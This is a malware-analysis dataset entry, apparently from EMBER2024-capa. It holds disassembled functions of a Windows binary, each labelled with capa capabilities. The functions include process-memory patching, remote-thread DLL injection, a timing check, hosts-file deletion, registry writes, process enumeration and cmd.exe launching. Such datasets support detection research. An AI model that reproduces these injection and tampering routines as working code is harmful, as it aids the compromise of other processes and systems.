joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420800
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x543040]
xor eax, esp
mov dword [esp + 8], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0xc]
mov eax, esi
push edi
mov edi, dword [ebp + 0x10]
cmp dword [esi + 0x14], 0xf
jbe 0x42082a
mov eax, dword [esi]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x420895
cmp dword [esi + 0x14], 0xf
jbe 0x42084e
mov esi, dword [esi]
push 0
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push esi
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x420895
push str.RegCreateKeyExA_failed
call fcn.00406040
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00434711
mov esp, ebp
pop ebp
ret 0x10
cmp dword [edi + 0x14], 0xf
jbe 0x42089d
mov edi, dword [edi]
push 4
push ebx
push 4
push 0
push edi
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4208e0
push str.RegSetValueExA_failed
call fcn.00406040
add esp, 4
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00434711
mov esp, ebp
pop ebp
ret 0x10
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x14]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00434711
mov esp, ebp
pop ebp
ret 0x10
Function at 0x420c60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x543040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov eax, dword [eax]
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [0x544228]
push 0x100
mov dword [ebp - 0x28], 0xe92d4ff0
mov dword [ebp - 0x24], 0xe59f0010
mov dword [ebp - 0x20], 0xe3a01001
mov dword [ebp - 0x1c], 0xe08f0000
mov dword [ebp - 0x14], 0xe3a00000
mov dword [ebp - 0x10], 0xe8bd8ff0
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], eax
call fcn.00434aeb
add esp, 4
mov dword [ebp - 0x34], eax
push 0
push 0x100
push eax
push esi
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x420ddd
lea eax, [ebp - 0x2c]
push eax
push 0x40
push 0x100
push esi
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x420ddd
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edi + 0xc]
push 0
push 0x24
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x28]
push ecx
push esi
push eax
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x420db3
cmp dword [ebx + 0x14], 0xf
jbe 0x420d40
mov ecx, dword [ebx]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420d35
mov ebx, dword [ebx]
jmp 0x420d4c
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420d45
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esi + 0x20]
push eax
push dword [edi + 0xc]
call ebx
test eax, eax
je 0x420db9
xor ecx, ecx
call fcn.00425f70
test al, al
je 0x420db9
push 0
push 0x100
push dword [ebp - 0x34]
push esi
push dword [edi + 0xc]
call ebx
test eax, eax
je 0x420db9
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x2c]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x100
push esi
push dword [edi + 0xc]
call eax
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434711
mov esp, ebp
pop ebp
ret 0x10
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, dword [ebp - 0x38]
push 0
push 0x100
push dword [ebp - 0x34]
push esi
push edi
call ebx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push dword [ebp - 0x3c]
push 0x100
push esi
push edi
call eax
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00434711
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4210a0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x543040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [0x54422c]
push 0x40
push 0x3000
push 0x104
push 0
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x4210ff
push 0x8000
push 0
push esi
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434711
mov esp, ebp
pop ebp
ret 4
cmp dword [ebx + 0x14], 0xf
jbe 0x42111b
mov ecx, dword [ebx]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421110
mov ebx, dword [ebx]
jmp 0x421127
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421120
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push ebx
push esi
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [edi + 0xc]
test eax, eax
jne 0x421164
push 0x8000
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434711
mov esp, ebp
pop ebp
ret 4
push 0
push 0
push esi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
je 0x4210d9
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x4210d9
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 0
jbe 0x4210d9
push 0x8000
push 0
push esi
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00434711
mov esp, ebp
pop ebp
ret 4
Function at 0x4215d0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4380d6
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x40
mov eax, dword [0x543040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x3c], edi
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x40], 0
push 0
push 0x43b668
mov dword [ebp - 0x44], esi
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
call fcn.00405d80
mov dword [ebp - 4], 1
cmp dword [edi + 0xc], 0
je 0x4216e8
mov edx, dword [ebx + 0xc]
lea eax, [edi + 4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], edx
cmp dword [edx + 0x14], 0xf
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x34], eax
jbe 0x42167c
mov eax, dword [edx]
mov dword [ebp - 0x30], eax
xor ecx, ecx
mov edi, 0x811c9dc5
cmp dword [edx + 0x10], ecx
jbe 0x4216a7
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x34]
nop
movzx eax, byte [ecx + edx]
inc ecx
xor eax, edi
imul edi, eax, 0x1000193
cmp ecx, esi
jb 0x421690
mov esi, dword [ebp - 0x44]
mov edx, dword [ebx + 0xc]
push edi
mov edi, dword [ebp - 0x38]
lea eax, [ebp - 0x48]
push edx
push eax
mov ecx, edi
call fcn.004173a0
mov eax, dword [eax + 4]
test eax, eax
jne 0x4216c1
mov eax, dword [edi + 4]
mov ecx, dword [ebp - 0x3c]
cmp eax, dword [ecx + 8]
je 0x4216e8
add eax, 0x20
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x4216e8
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x4216de
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406160
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x40], 1
cmp esi, eax
je 0x42172e
cmp dword [ebp - 0x18], 0xf
mov ecx, esi
push dword [ebp - 0x1c]
cmova eax, dword [ebp - 0x2c]
push eax
call fcn.00406160
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x421764
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42175a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42175a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0043474f
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00434711
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
Function at 0x425f70
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
mov ecx, dword [0x544218]
push ebx
push esi
push edi
push dword [0x544370]
lea ecx, [ecx + 4]
call fcn.0041c000
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0xc], eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, eax
push 0xa
call ebx
call esi
sub eax, edi
cmp eax, 0x4e20
ja 0x425fcd
push dword [esp + 0xc]
call fcn.00421280
test al, al
jne 0x425fe3
push 0xa
call ebx
call esi
sub eax, edi
cmp eax, 0x4e20
jbe 0x425fb1
push str.Aow_has_reached_limit_timeout
call fcn.00406040
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x426030
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4386fb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x144
mov eax, dword [0x543040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0x25
lea eax, [ebp - 0x120]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x4260bb
push str.SHGetSpecialFolderPathA_failed
call fcn.00406040
add esp, 4
mov dword [ebp - 0x140], 0
xorps xmm0, xmm0
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x150], xmm0
push 0
push 0x43b668
jmp 0x4260f3
xorps xmm0, xmm0
mov dword [ebp - 0x140], 0
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x150], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4260e2
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x150]
call fcn.00405d80
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x13c]
mov eax, edx
mov ecx, dword [ebp - 0x140]
sub eax, ecx
push 0x12
push str.driversetchosts
cmp eax, 0x12
jb 0x426151
cmp edx, 0xf
lea esi, [ebp - 0x150]
lea eax, [ecx + 0x12]
cmova esi, dword [ebp - 0x150]
add esi, ecx
mov dword [ebp - 0x140], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x12], 0
lea eax, [ebp - 0x150]
jmp 0x42616b
mov byte [ebp - 0x154], 0
lea ecx, [ebp - 0x150]
push dword [ebp - 0x154]
push 0x12
call fcn.0040a2e0
mov dword [ebp - 0x128], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x124], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x128], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0xf
jbe 0x4261f1
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4261e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4261e7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0043474f
add esp, 8
cmp dword [ebp - 0x124], 0xf
lea eax, [ebp - 0x138]
mov dword [ebp - 0x140], 0
cmova eax, dword [ebp - 0x138]
push eax
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__unlink]
add esp, 4
lea eax, [ebp - 0x138]
push 0
push 0
push eax
call fcn.00406290
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x426276
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42626c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42626c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0043474f
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00434711
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x42a710
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fffffff
sub esp, 0x10
bsr ecx, eax
push ebx
push esi
push edi
mov edi, 1
mov eax, edi
shl eax, cl
mov ecx, dword [ebp + 8]
cmp ecx, eax
jbe 0x42a73c
push str.invalid_hash_bucket_count
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ecx - 1]
mov esi, dword [0x544354]
or eax, 1
mov dword [ebp - 8], esi
bsr ecx, eax
push esi
lea ecx, [ecx + 1]
shl edi, cl
mov ecx, 0x54435c
lea eax, [edi + edi]
push eax
call fcn.00403b80
mov eax, dword [0x544354]
lea ebx, [edi - 1]
mov dword [0x544368], ebx
mov dword [0x54436c], edi
mov eax, dword [eax]
mov ecx, eax
cmp eax, esi
je 0x42a876
movzx edx, byte [eax + 8]
xor edx, 0x811c9dc5
mov ecx, dword [ecx]
imul edi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor edi, edx
movzx edx, byte [eax + 0xa]
imul edi, edi, 0x1000193
xor edi, edx
movzx edx, byte [eax + 0xb]
imul edi, edi, 0x1000193
xor edi, edx
mov edx, dword [0x54435c]
imul edi, edi, 0x1000193
and edi, ebx
mov ebx, dword [edx + edi*8]
lea edx, [edx + edi*8]
mov dword [ebp - 0xc], edx
cmp ebx, esi
jne 0x42a7d4
mov dword [edx], eax
mov dword [edx + 4], eax
jmp 0x42a841
mov edx, dword [edx + 4]
mov edi, dword [eax + 8]
cmp edi, dword [edx + 8]
jne 0x42a80e
mov edx, dword [edx]
mov dword [ebp - 4], edx
cmp edx, eax
je 0x42a806
mov ebx, dword [eax + 4]
mov esi, dword [ebp - 4]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 8]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
mov edx, dword [ebp - 0xc]
mov dword [edx + 4], eax
jmp 0x42a841
cmp ebx, edx
je 0x42a81e
mov edx, dword [edx + 4]
cmp edi, dword [edx + 8]
je 0x42a852
cmp ebx, edx
jne 0x42a812
mov ebx, dword [eax + 4]
mov dword [ebp - 4], ebx
mov dword [ebx], ecx
mov ebx, dword [ecx + 4]
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov dword [edx + 4], ebx
mov edx, dword [ebp - 4]
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0xc]
mov dword [eax + 4], edi
mov dword [edx], eax
mov eax, ecx
cmp ecx, esi
je 0x42a876
mov ebx, dword [0x544368]
jmp 0x42a782
mov ebx, dword [eax + 4]
mov edx, dword [edx]
mov dword [ebp - 4], edx
mov esi, edx
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 8]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
jmp 0x42a841
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4323a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], edx
push esi
push edi
mov edi, ecx
test ebx, ebx
jne 0x4323c0
mov dword [edi], 1
jmp 0x43248c
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
push 2
push 0
push 0
push ebx
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
add esp, 0x14
mov dword [ebp - 4], edx
mov ebx, eax
push 0
push 0
push 0
push dword [ebp + 8]
call esi
mov eax, dword [ebp - 4]
add esp, 0x10
test eax, eax
jg 0x432403
jl 0x4323f9
test ebx, ebx
jae 0x432403
mov eax, 2
jmp 0x43248a
xor ecx, ecx
cmp ecx, eax
jne 0x432485
lea eax, [ebx + 1]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x432427
mov dword [edi], 3
jmp 0x43248c
push dword [ebp + 8]
push ebx
push 1
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
cmp eax, ebx
je 0x43244d
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov dword [edi], 2
jmp 0x43248c
mov edx, ebx
mov ecx, esi
call fcn.0042fdc0
cmp eax, 1
jne 0x432462
mov byte [ebx + esi], 0
mov ebx, dword [ebp - 4]
push dword [ebp + 0x14]
sub esp, 8
push eax
mov eax, dword [ebp - 8]
mov edx, eax
push ecx
push ebx
push esi
push eax
mov ecx, edi
call fcn.00432140
add esp, 0x20
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 3
mov dword [edi], eax
mov dword [edi + 4], 0
mov eax, edi
mov dword [edi + 8], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x434050
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x13c
mov eax, dword [0x543040]
xor eax, esp
mov dword [esp + 0x138], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
jne 0x43409e
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x138]
xor ecx, esp
call fcn.00434711
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4340ea
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
push dword [esp + 0x14]
lea eax, [esp + 0x40]
push eax
call edi
add esp, 8
test eax, eax
je 0x4340e2
lea eax, [esp + 0x18]
push eax
push esi
call ebx
test eax, eax
jne 0x4340c2
jmp 0x4340ea
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x144]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00434711
mov esp, ebp
pop ebp
ret
Function at 0x434110
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x164
mov eax, dword [0x543040]
xor eax, esp
mov dword [esp + 0x160], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x14], ecx
push ebx
push 2
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
test edi, edi
jne 0x43415f
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x160]
xor ecx, esp
call fcn.00434711
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4341f7
nop dword [eax]
push dword [esp + 0x14]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x4341e7
push dword [esp + 0x20]
push eax
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4341e1
push 0x2c
lea eax, [esp + 0x144]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x4341d6
mov eax, dword [esp + 0x14c]
cmp eax, ebx
jbe 0x4341d6
mov ebx, eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x4341e7
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x434180
push edi
call esi
mov ecx, dword [esp + 0x16c]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00434711
mov esp, ebp
pop ebp
ret
Function at 0x434220
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43996d
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x543040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00407a70
push 3
push 0x53b6c8
push ecx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
call fcn.0040ac30
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0x3c
cmova eax, dword [ebp - 0x2c]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x68]
push eax
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
mov dword [ebp - 0x64], 0x40
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], str.cmd.exe
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x4342d6
or esi, 0xffffffff
jmp 0x4342f9
push esi
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x43432f
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434325
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x434325
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0043474f
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00434711
mov esp, ebp
pop ebp
ret

Function at 0x43518d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4351cc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4351cc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4351cc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4351cc
cmp dword [ecx + 0x74], 0xe
jbe 0x4351cc
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret